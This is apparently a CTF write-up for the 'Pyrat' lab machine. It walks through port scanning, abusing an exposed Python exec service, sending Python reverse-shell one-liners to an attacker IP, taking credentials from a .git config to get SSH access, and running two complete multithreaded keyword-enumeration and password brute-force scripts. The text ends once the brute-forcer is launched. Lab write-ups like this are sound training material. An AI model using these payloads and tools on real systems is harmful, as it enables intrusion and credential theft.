- Published on
Pyrat
Overview
Pyrat is a simple CTF focussed on exploiting a web server to obtain a shell on the machine and then escalating privileges to root.
Reconaissance
First of all let's find out what services are running and on which ports:
➜ ~ rustscan --ulimit 5000 -a pyrat.thm -- -sC -sV -Pn.----. .-. .-. .----..---. .----. .---. .--. .-. .-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| || .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'The Modern Day Port Scanner.________________________________________: http://discord.skerritt.blog :: https://github.com/RustScan/RustScan : --------------------------------------🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/kali/.rustscan.toml"[~] Automatically increasing ulimit value to 5000.Open 10.66.180.105:22Open 10.66.180.105:8000[~] Starting Script(s)35 collapsed lines
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV -Pn" on ip 10.66.180.105Depending on the complexity of the script, results may take some time to appear.[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-20 11:39 GMTNSE: Loaded 157 scripts for scanning.NSE: Script Pre-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 11:39Completed NSE at 11:39, 0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 11:39Completed NSE at 11:39, 0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 11:39Completed NSE at 11:39, 0.00s elapsedInitiating SYN Stealth Scan at 11:39Scanning pyrat.thm (10.66.180.105) [2 ports]Discovered open port 8000/tcp on 10.66.180.105Discovered open port 22/tcp on 10.66.180.105Completed SYN Stealth Scan at 11:39, 0.11s elapsed (2 total ports)Initiating Service scan at 11:39Scanning 2 services on pyrat.thm (10.66.180.105)Completed Service scan at 11:41, 169.25s elapsed (2 services on 1 host)NSE: Script scanning 10.66.180.105.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 11:41Completed NSE at 11:42, 8.57s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 11:42Completed NSE at 11:42, 0.20s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 11:42Completed NSE at 11:42, 0.00s elapsedNmap scan report for pyrat.thm (10.66.180.105)Host is up, received user-set (0.091s latency).Scanned at 2026-02-20 11:39:06 GMT for 178s
PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 1f:8e:52:f2:ab:13:48:4e:ee:bb:a3:9d:b1:be:ab:d7 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC11bNyjEfvuoisDvoHdaXXyLE9BKK19QkWG7AXFWAmmhXImPZkkAk8RvXvedKWnfKIOT97C+2KDc+t8MR73DVrbBTsKRGgH6jVLcEc3o1NgMg5rxwScaer7+HCBQDbaOQGbH3RywBEvZdBRkua5DluNPBzJthStkNzW7SKbWfVDJpgv7b7ZE5UsjjvWsOKa+HSMKiz9h+hHw8/DGgrwTDE85iVUv2Q9j65B449QKrjlLL2+uDK1Ah8vQjbY/sR6S279aRJaHneyvLsG/Ml5sNd1SCIkUyoE8BrhCuC8afrfvvL6+20Gpl0XgwZQeIGjKwjMv5tC9ZKKYRa3Ismr9xhzG08DHNiejsUqo9s9m/Oa4vVLoi9fTk74PELcYVtA/2F2wVVOXTcsmOklD8jTtlcFONtoofr/QcYHWQRfiTT16thZ/eF+GD0QRA4FZEzVnlLtalvupP11FsYpoCzItyERtbWVp805pIyDrOqRYihO5a1CTN5NGyVdt5GerKFoK0=| 256 e4:1c:f5:91:ad:64:0d:bf:0f:cc:9d:2b:05:23:2e:b3 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJRAnlZ2hkff7hnkvHi1A8t8TdFbv2LhKsRRYiWVWF36jEbggNxdHlxdEpKxIZKKWLdY5K7sDkwcSVg1igCmYMA=| 256 b9:4d:51:f0:d3:1b:24:96:2b:56:77:16:66:12:38:fa (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICgbD7JuFpADfPnOW7pQSd9wiwFwApjSpGQn4Ssw1Rpg8000/tcp open http-alt syn-ack ttl 62 SimpleHTTP/0.6 Python/3.11.2|_http-title: Site doesn't have a title (text/html; charset=utf-8).|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F|_http-open-proxy: Proxy might be redirecting requests| fingerprint-strings:| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:| source code string cannot contain null bytes46 collapsed lines
| FourOhFourRequest, LPDString, SIPOptions:| invalid syntax (<string>, line 1)| GetRequest:| name 'GET' is not defined| HTTPOptions, RTSPRequest:| name 'OPTIONS' is not defined| Help:|_ name 'HELP' is not defined|_http-server-header: SimpleHTTP/0.6 Python/3.11.2| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port8000-TCP:V=7.95%I=7%D=2/20%Time=699847E6%P=x86_64-pc-linux-gnu%r(GeSF:nericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20definSF:ed\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20SF:null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<strinSF:g>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\SF:x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20SF:is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20nSF:ot\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\xSF:20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sourSF:ce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1SF:B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\xSF:20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20SF:syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20codSF:e\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"soSF:urce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(JavaSF:RMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\SF:n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20SF:bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20nSF:ull\x20bytes\n");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 11:42Completed NSE at 11:42, 0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 11:42Completed NSE at 11:42, 0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 11:42Completed NSE at 11:42, 0.00s elapsedRead data files from: /usr/share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 178.74 seconds Raw packets sent: 2 (88B) | Rcvd: 2 (88B)We can see that the ssh is open, and port 8000 is running an http service.
The first step is to take a closer look at what is running on the http service, so we navigate to the site in Firefox:

We will use netcat instead and see what we find from the terminal:
➜ ~ nc pyrat.thm 8000help
lsname 'ls' is not definedint(a)name 'a' is not definedprint(f"{2*2}")4It seems that we have direct control of a Python interpreter. This might allow us to pop a shell onto the machine very easily.
Popping a Shell
Using revshells.com we can quickly get hold of the command to pop a shell:
We find the first Python reverse shell command:

However as we are already in the Python interpreter we must modify the script a little bit:
import sys,socket,os,pty;s=socket.socket();s.connect(("192.168.141.169",4445));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")We setup our listener on our attack machine:
➜ ~ nc -lvnp 4445listening on [any] 4445 ...And back in our nc connection to port 8000 we drop the script:
➜ ~ nc pyrat.thm 8000import sys,socket,os,pty;s=socket.socket();s.connect(("192.168.141.169",4445));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")[Errno 111] Connection refusedHowever this just seems to error closing the connection. Our listener just shows this:
➜ ~ nc -lvnp 4445listening on [any] 4445 ...connect to [192.168.141.169] from (UNKNOWN) [10.66.180.105] 34974➜ ~So let's try the second Python reverse shell from revshells.com:

Again we modify the script to run directly inside the Python interpreter:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.141.169",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")We launch our nc listener again:
➜ ~ nc -lvnp 4445listening on [any] 4445 ...And we paste this script into our nc connection to port 8080 on the victim's machine:
➜ ~ nc pyrat.thm 8000import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.141.169",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");This time our connection does not error out and on our nc listener we can see the connection and execute commands:
➜ ~ nc -lvnp 4445listening on [any] 4445 ...connect to [192.168.141.169] from (UNKNOWN) [10.66.180.105] 35950bash: /root/.bashrc: Permission deniedwww-data@ip-10-66-180-105:~$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@ip-10-66-180-105:~$ lslsls: cannot open directory '.': Permission deniedwww-data@ip-10-66-180-105:~$Finding the user.txt flag
So manually looking around on the machine's filesystem we find some development work under /opt/dev/:
www-data@ip-10-66-180-105:~$ cd /optcd /optwww-data@ip-10-66-180-105:/opt$ lslsdevwww-data@ip-10-66-180-105:/opt$ cd devcd devwww-data@ip-10-66-180-105:/opt/dev$ lslswww-data@ip-10-66-180-105:/opt/dev$ ls -lals -latotal 12drwxrwxr-x 3 think think 4096 Jun 21 2023 .drwxr-xr-x 3 root root 4096 Jun 21 2023 ..drwxrwxr-x 8 think think 4096 Jun 21 2023 .gitwww-data@ip-10-66-180-105:/opt/dev$ cd .gitcd .gitwww-data@ip-10-66-180-105:/opt/dev/.git$ ls -lls -ltotal 44drwxrwxr-x 2 think think 4096 Jun 21 2023 branches-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG-rw-rw-r-- 1 think think 296 Jun 21 2023 config-rw-rw-r-- 1 think think 73 Jun 21 2023 description-rw-rw-r-- 1 think think 23 Jun 21 2023 HEADdrwxrwxr-x 2 think think 4096 Jun 21 2023 hooks-rw-rw-r-- 1 think think 145 Jun 21 2023 indexdrwxrwxr-x 2 think think 4096 Jun 21 2023 infodrwxrwxr-x 3 think think 4096 Jun 21 2023 logsdrwxrwxr-x 7 think think 4096 Jun 21 2023 objectsdrwxrwxr-x 4 think think 4096 Jun 21 2023 refswww-data@ip-10-66-180-105:/opt/dev/.git$ cat configcat config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[user] name = Jose Mario email = josemlwdf@github.com
[credential] helper = cache --timeout=3600
[credential "https://github.com"] username = think password = {REDACTED}www-data@ip-10-66-180-105:/opt/dev/.git$In the config file we find a username and password for a user called think.
We try and connect to SSH from our attack machine and are able to get a connection using these Github credentials:
➜ ~ ssh think@pyrat.thmThe authenticity of host 'pyrat.thm (10.66.180.105)' can't be established.ED25519 key fingerprint is: SHA256:g8xekYDX7ye7aRHe0lWqrwYvpOEMeb7tVRjmKj72AFwThis key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'pyrat.thm' (ED25519) to the list of known hosts.** WARNING: connection is not using a post-quantum key exchange algorithm.** This session may be vulnerable to "store now, decrypt later" attacks.** The server may need to be upgraded. See https://openssh.com/pq.htmlthink@pyrat.thm's password:Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro
System information as of Fri 20 Feb 2026 12:42:14 PM UTC
System load: 0.0 Processes: 116 Usage of /: 46.6% of 9.75GB Users logged in: 0 Memory usage: 11% IPv4 address for ens5: 10.66.180.105 Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
22 updates can be applied immediately.13 of these updates are standard security updates.To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.To check for new updates run: sudo apt updateYour Hardware Enablement Stack (HWE) is supported until April 2025.
You have mail.Last login: Thu Jun 15 12:09:31 2023 from 192.168.204.1think@ip-10-66-180-105:~$Furthermore we are able to find the user.txt file:
think@ip-10-66-180-105:~$ lssnap user.txtthink@ip-10-66-180-105:~$ cat user.txt99{READACTED}705think@ip-10-66-180-105:~$Finding the root.txt flag
The next stage is to figure out how to escalate out privileges so that we can get to the root flag.
Within the /opt/dev directory we can see the current status of the source code:
think@ip-10-64-146-183:/opt/dev$ git statusOn branch masterChanges not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")There seems to be a delete file called pyrat.py.old so let's have a look at the git log:
think@ip-10-64-146-183:/opt/dev$ git logcommit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)Author: Jose Mario <josemlwdf@github.com>Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpointSo perhaps we can reset the state of this project and recover the pyrat.py.old file:
think@ip-10-64-146-183:/opt/dev$ git reset --hard 0a3c36d66369fd4b07ddca72e5379461a63470bfHEAD is now at 0a3c36d Added shell endpointthink@ip-10-64-146-183:/opt/dev$ ls -ltotal 4-rw-rw-r-- 1 think think 753 Feb 22 11:01 pyrat.py.oldGreat so now the file is back on the filesystem. Let's look at the contents:
think@ip-10-64-146-183:/opt/dev$ cat pyrat.py.old...............................................
def switch_case(client_socket, data): if data == 'some_endpoint': get_this_enpoint(client_socket) else: # Check socket is admin and downgrade if is not aprooved uid = os.getuid() if (uid == 0): change_uid()
if data == 'shell': shell(client_socket) else: exec_python(client_socket, data)
def shell(client_socket): try: import pty os.dup2(client_socket.fileno(), 0) os.dup2(client_socket.fileno(), 1) os.dup2(client_socket.fileno(), 2) pty.spawn("/bin/sh") except Exception as e: send_data(client_socket, e
...............................................So from the gist of this script we attempt to reconnect to the web service and pass the command shell and we instantly get a shell back:
➜ ~ nc pyrat.thm 8000shell$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)Unfortunately the shell is still owned by an unprivileged account. However from the code fragment it looks as though there must be another keyword that we can use to gain access as a privilieged user. So let's write a script that can enumerate based on a word list and find alternative keywords:
import socketimport argparseimport sysimport threadingfrom queue import Queue
DEFAULT_PORT = 8000DEFAULT_KEYWORD_WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"DEFAULT_THREADS = 50121 collapsed lines
def try_keyword(target, port, keyword, timeout=2): """Try a keyword and return the response.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((target, port)) s.sendall((keyword + "\n").encode()) response = s.recv(1024).decode(errors="ignore").strip() s.close() return response except socket.timeout: return "" except Exception: return None
def worker(target, port, timeout, queue, interesting, lock, progress): """Thread worker - pull keywords from queue and test them.""" while True: keyword = queue.get() if keyword is None: break
response = try_keyword(target, port, keyword, timeout)
with lock: progress[0] += 1 count = progress[0] total = progress[1] if count % 10 == 0: print(f"[*] Progress: {count:,}/{total:,} - Current: {keyword:<20}", end="\r")
if response is not None and "not defined" not in response and response != "": interesting.append((keyword, response)) print(f"\n[+] Interesting keyword: '{keyword}'") print(f" Response: {repr(response)}\n")
queue.task_done()
def enumerate_keywords(target, port, wordlist_path, threads, timeout): """Enumerate all keywords using a thread pool.""" print(f"[*] Enumerating keywords against {target}:{port}") print(f"[*] Using keyword wordlist: {wordlist_path}") print(f"[*] Threads: {threads} | Timeout: {timeout}s\n")
try: with open(wordlist_path, "r", encoding="latin-1") as f: keywords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[-] Keyword wordlist not found at: {wordlist_path}") sys.exit(1)
print(f"[*] Loaded {len(keywords):,} keywords to try...\n")
queue = Queue() interesting = [] lock = threading.Lock() progress = [0, len(keywords)] # [current, total]
# Start thread pool thread_pool = [] for _ in range(threads): t = threading.Thread(target=worker, args=(target, port, timeout, queue, interesting, lock, progress)) t.daemon = True t.start() thread_pool.append(t)
# Feed keywords into the queue for keyword in keywords: queue.put(keyword)
# Signal threads to stop when queue is empty for _ in range(threads): queue.put(None)
# Wait for all threads to finish for t in thread_pool: t.join()
# Summary print(f"\n\n{'='*60}") print(f"[*] Enumeration complete. {len(interesting)} interesting keyword(s) found:\n") if interesting: for keyword, response in interesting: print(f" Keyword : {keyword}") print(f" Response : {repr(response)}") print() else: print(" None found - try a different wordlist.") print('='*60)
def parse_args(): parser = argparse.ArgumentParser( description="Pyrat service keyword enumerator", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""examples: %(prog)s -t pyrat.thm %(prog)s -t pyrat.thm -p 9000 %(prog)s -t pyrat.thm -K /path/to/keywords.txt %(prog)s -t pyrat.thm --threads 100 --timeout 1 """ )
parser.add_argument("-t", "--target", required=True, metavar="HOST", help="Target host (e.g. pyrat.thm or 10.10.10.10)") parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT, metavar="PORT", help=f"Target port (default: {DEFAULT_PORT})") parser.add_argument("-K", "--keyword-wordlist", default=DEFAULT_KEYWORD_WORDLIST, metavar="FILE", help=f"Wordlist to enumerate (default: {DEFAULT_KEYWORD_WORDLIST})") parser.add_argument("--threads", type=int, default=DEFAULT_THREADS, metavar="N", help=f"Number of concurrent threads (default: {DEFAULT_THREADS})") parser.add_argument("--timeout", type=float, default=2, metavar="SECS", help="Socket timeout in seconds (default: 2)")
if len(sys.argv) == 1: parser.print_help() sys.exit(1)
return parser.parse_args()
if __name__ == "__main__": args = parse_args()
print(f"""╔══════════════════════════════════════════╗║ Pyrat Keyword Enumerator ║╚══════════════════════════════════════════╝ Target : {args.target}:{args.port} Wordlist: {args.keyword_wordlist} Threads : {args.threads} Timeout : {args.timeout}s""")
enumerate_keywords(args.target, args.port, args.keyword_wordlist, args.threads, args.timeout)So we save the above python script as enumerate_keywords.py and execute:
➜ pyrat python enumerate_keywords.py -t pyrat.thm
╔══════════════════════════════════════════╗║ Pyrat Keyword Enumerator ║╚══════════════════════════════════════════╝ Target : pyrat.thm:8000 Wordlist: /usr/share/wordlists/seclists/Usernames/Names/names.txt Threads : 50 Timeout : 2s
[*] Enumerating keywords against pyrat.thm:8000[*] Using keyword wordlist: /usr/share/wordlists/seclists/Usernames/Names/names.txt[*] Threads: 50 | Timeout: 2s
[*] Loaded 10,177 keywords to try...
[*] Progress: 50/10,177 - Current: adi[+] Interesting keyword: 'admin' Response: 'Password:'45 collapsed lines
[*] Progress: 550/10,177 - Current: anne-lise[+] Interesting keyword: 'anne marie' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 1,960/10,177 - Current: clary[+] Interesting keyword: 'class' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 2,280/10,177 - Current: danila[+] Interesting keyword: 'd'anne' Response: 'EOL while scanning string literal (<string>, line 1)'
[*] Progress: 2,420/10,177 - Current: dedra[+] Interesting keyword: 'dee dee' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 2,430/10,177 - Current: deina[+] Interesting keyword: 'del' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 2,970/10,177 - Current: elinore[+] Interesting keyword: 'else' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 4,770/10,177 - Current: joan[+] Interesting keyword: 'jo ann' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 5,660/10,177 - Current: lavonda[+] Interesting keyword: 'la verne' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 6,840/10,177 - Current: minta[+] Interesting keyword: 'miof mela' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 8,670/10,177 - Current: shela[+] Interesting keyword: 'shell' Response: '$'
[*] Progress: 10,150/10,177 - Current: zoran[+] Interesting keyword: 'zsa zsa' Response: 'invalid syntax (<string>, line 1)'
[*] Progress: 10,170/10,177 - Current: zelda
============================================================[*] Enumeration complete. 12 interesting keyword(s) found:
Keyword : admin Response : 'Password:'
26 collapsed lines
Keyword : anne marie Response : 'invalid syntax (<string>, line 1)'
Keyword : class Response : 'invalid syntax (<string>, line 1)'
Keyword : d'anne Response : 'EOL while scanning string literal (<string>, line 1)'
Keyword : dee dee Response : 'invalid syntax (<string>, line 1)'
Keyword : del Response : 'invalid syntax (<string>, line 1)'
Keyword : else Response : 'invalid syntax (<string>, line 1)'
Keyword : jo ann Response : 'invalid syntax (<string>, line 1)'
Keyword : la verne Response : 'invalid syntax (<string>, line 1)'
Keyword : miof mela Response : 'invalid syntax (<string>, line 1)'
Keyword : shell Response : '$'
Keyword : zsa zsa Response : 'invalid syntax (<string>, line 1)'
============================================================We can ignore most of the responses as they are syntactical errors, however we do find an interesting keyword admin which then seems to prompt us for a password.
Therefore we extend the script to try and brute force the password when requested for one:
import socketimport argparseimport sysimport threadingfrom queue import Queue
DEFAULT_PORT = 8000DEFAULT_KEYWORD_WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"DEFAULT_PASSWORD_WORDLIST = "/usr/share/wordlists/fasttrack.txt"DEFAULT_THREADS = 50
268 collapsed lines
# Responses that look interesting but are just Python syntax/exec noiseIGNORE_RESPONSES = [ "invalid syntax", "eol while scanning", "unexpected eof", "invalid token", "cannot assign", "not defined",]
# Responses that confirm a successful passwordSUCCESS_RESPONSES = ["$", "#", "welcome"]
def is_ignorable(response): """Return True if the response is just Python exec noise.""" lowered = response.lower() return any(pattern in lowered for pattern in IGNORE_RESPONSES)
def is_successful(response): """Return True if the response looks like a successful login.""" lowered = response.lower() return any(indicator in lowered for indicator in SUCCESS_RESPONSES)
def try_keyword(target, port, keyword, timeout=2): """Try a keyword and return the response.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((target, port)) s.sendall((keyword + "\n").encode()) response = s.recv(1024).decode(errors="ignore").strip() s.close() return response except socket.timeout: return "" except Exception: return None
def try_password(target, port, keyword, password, timeout=2): """Connect, send keyword, wait for password prompt, send password.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((target, port)) s.sendall((keyword + "\n").encode()) resp = s.recv(1024).decode(errors="ignore")
if "Password" not in resp: s.close() return None
s.sendall((password + "\n").encode()) resp2 = s.recv(1024).decode(errors="ignore").strip() s.close() return resp2 except socket.timeout: return "" except Exception: return None
def brute_force_password(target, port, keyword, wordlist_path, threads, timeout): """Brute-force the password for a given keyword. Returns found password or None.""" print(f"\n[*] Pausing enumeration - brute-forcing password for keyword '{keyword}'...") print(f"[*] Wordlist : {wordlist_path}") print(f"[*] Threads : {threads} | Timeout: {timeout}s\n")
try: with open(wordlist_path, "r", encoding="latin-1") as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[-] Password wordlist not found at: {wordlist_path}") return None
print(f"[*] Loaded {len(passwords):,} passwords to try...\n")
queue = Queue() lock = threading.Lock() progress = [0, len(passwords)] found = [None]
def password_worker(): while True: if found[0]: queue.task_done() break
password = queue.get() if password is None: queue.task_done() break
response = try_password(target, port, keyword, password, timeout)
with lock: progress[0] += 1 count = progress[0] total = progress[1] if count % 10 == 0: print(f"[*] Progress: {count:,}/{total:,} - Current: {password:<20}", end="\r")
# Only flag as success if the response looks like a shell/welcome # A re-prompt of 'Password:' means the password was wrong if response is not None and is_successful(response): if not found[0]: found[0] = password print(f"\n[!] Password found: '{password}'") print(f" Response: {repr(response)}\n")
queue.task_done()
thread_pool = [] for _ in range(threads): t = threading.Thread(target=password_worker) t.daemon = True t.start() thread_pool.append(t)
for password in passwords: if found[0]: break queue.put(password) for _ in range(threads): queue.put(None)
for t in thread_pool: t.join()
if not found[0]: print(f"\n[-] Password not found in wordlist.")
return found[0]
def enumerate_keywords(target, port, keyword_wordlist, password_wordlist, threads, timeout): """Enumerate all keywords, pausing to brute-force when a password prompt is found.""" print(f"[*] Enumerating keywords against {target}:{port}") print(f"[*] Wordlist : {keyword_wordlist}") print(f"[*] Threads : {threads} | Timeout: {timeout}s\n")
try: with open(keyword_wordlist, "r", encoding="latin-1") as f: keywords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[-] Keyword wordlist not found at: {keyword_wordlist}") sys.exit(1)
print(f"[*] Loaded {len(keywords):,} keywords to try...\n")
interesting = [] lock = threading.Lock() progress = [0, len(keywords)]
pause_event = threading.Event() pause_event.set() brute_force_triggered = set()
def keyword_worker(queue): while True: keyword = queue.get() if keyword is None: queue.task_done() break
pause_event.wait()
response = try_keyword(target, port, keyword, timeout)
with lock: progress[0] += 1 count = progress[0] total = progress[1] if count % 10 == 0: print(f"[*] Progress: {count:,}/{total:,} - Current: {keyword:<20}", end="\r")
if response is not None and response != "" and not is_ignorable(response): interesting.append((keyword, response))
if "password" in response.lower() and password_wordlist \ and keyword not in brute_force_triggered: brute_force_triggered.add(keyword) pause_event.clear() print(f"\n[+] Password prompt found for keyword: '{keyword}'\n") do_brute_force = True else: print(f"\n[+] Interesting keyword: '{keyword}'") print(f" Response: {repr(response)}\n") do_brute_force = False else: do_brute_force = False
if do_brute_force: result = brute_force_password( target, port, keyword, password_wordlist, threads, timeout ) if result: print(f"\n[!] Success! Keyword: '{keyword}' | Password: '{result}'\n") else: print(f"\n[-] No password found for '{keyword}', try a larger wordlist.\n") print(f"[*] Resuming keyword enumeration...\n") pause_event.set()
queue.task_done()
queue = Queue() thread_pool = [] for _ in range(threads): t = threading.Thread(target=keyword_worker, args=(queue,)) t.daemon = True t.start() thread_pool.append(t)
for keyword in keywords: queue.put(keyword) for _ in range(threads): queue.put(None)
for t in thread_pool: t.join()
print(f"\n\n{'='*60}") print(f"[*] Enumeration complete. {len(interesting)} interesting keyword(s) found:\n") if interesting: for keyword, response in interesting: print(f" Keyword : {keyword}") print(f" Response : {repr(response)}") print() else: print(" None found - try a different wordlist.") print('='*60)
def parse_args(): parser = argparse.ArgumentParser( description="Pyrat service keyword enumerator and password brute-forcer", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""examples: %(prog)s -t pyrat.thm %(prog)s -t pyrat.thm -p 9000 %(prog)s -t pyrat.thm -k admin %(prog)s -t pyrat.thm -k admin -P /usr/share/wordlists/rockyou.txt %(prog)s -t pyrat.thm -K /path/to/keywords.txt -P /path/to/passwords.txt %(prog)s -t pyrat.thm --threads 100 --timeout 1 %(prog)s -t pyrat.thm --no-bruteforce """ )
parser.add_argument("-t", "--target", required=True, metavar="HOST", help="Target host (e.g. pyrat.thm or 10.10.10.10)") parser.add_argument("-p", "--port", type=int, default=DEFAULT_PORT, metavar="PORT", help=f"Target port (default: {DEFAULT_PORT})") parser.add_argument("-k", "--keyword", default=None, metavar="KEYWORD", help="Skip keyword enumeration and brute-force this keyword directly") parser.add_argument("-K", "--keyword-wordlist", default=DEFAULT_KEYWORD_WORDLIST, metavar="FILE", help=f"Wordlist for keyword enumeration (default: {DEFAULT_KEYWORD_WORDLIST})") parser.add_argument("-P", "--password-wordlist", default=DEFAULT_PASSWORD_WORDLIST, metavar="FILE", help=f"Wordlist for password brute-force (default: {DEFAULT_PASSWORD_WORDLIST})") parser.add_argument("--no-bruteforce", action="store_true", help="Disable password brute-forcing entirely (keyword enumeration only)") parser.add_argument("--threads", type=int, default=DEFAULT_THREADS, metavar="N", help=f"Number of concurrent threads (default: {DEFAULT_THREADS})") parser.add_argument("--timeout", type=float, default=2, metavar="SECS", help="Socket timeout in seconds (default: 2)")
if len(sys.argv) == 1: parser.print_help() sys.exit(1)
return parser.parse_args()
if __name__ == "__main__": args = parse_args()
password_wordlist = None if args.no_bruteforce else args.password_wordlist
print(f"""╔══════════════════════════════════════════╗║ Pyrat Enumerator & Brute-Forcer ║╚══════════════════════════════════════════╝ Target : {args.target}:{args.port} Keyword : {args.keyword if args.keyword else f"Enumerate via {args.keyword_wordlist}"} Passwords: {"Disabled (--no-bruteforce)" if args.no_bruteforce else password_wordlist} Threads : {args.threads} Timeout : {args.timeout}s""")
if args.keyword: print(f"[*] Skipping enumeration, using supplied keyword: '{args.keyword}'") if password_wordlist: result = brute_force_password( args.target, args.port, args.keyword, password_wordlist, args.threads, args.timeout ) if result: print(f"\n[!] Success! Keyword: '{args.keyword}' | Password: '{result}'") else: enumerate_keywords( args.target, args.port, args.keyword_wordlist, password_wordlist, args.threads, args.timeout )We save this script into another file called enumerate_pyrat.py and then execute it:
➜ pyrat python enumerate_pyrat.py -t pyrat.thm
╔══════════════════════════════════════════╗║ Pyrat Enumerator & Brute-Forcer ║╚══════════════════════════════════════════╝ Target : pyrat.thm:8000 Keyword : Enumerate via /usr/share/wordlists/seclists/Usernames/Names/names.txt Passwords: /usr/share/wordlists/fasttrack.txt Threads : 50 Timeout : 2s
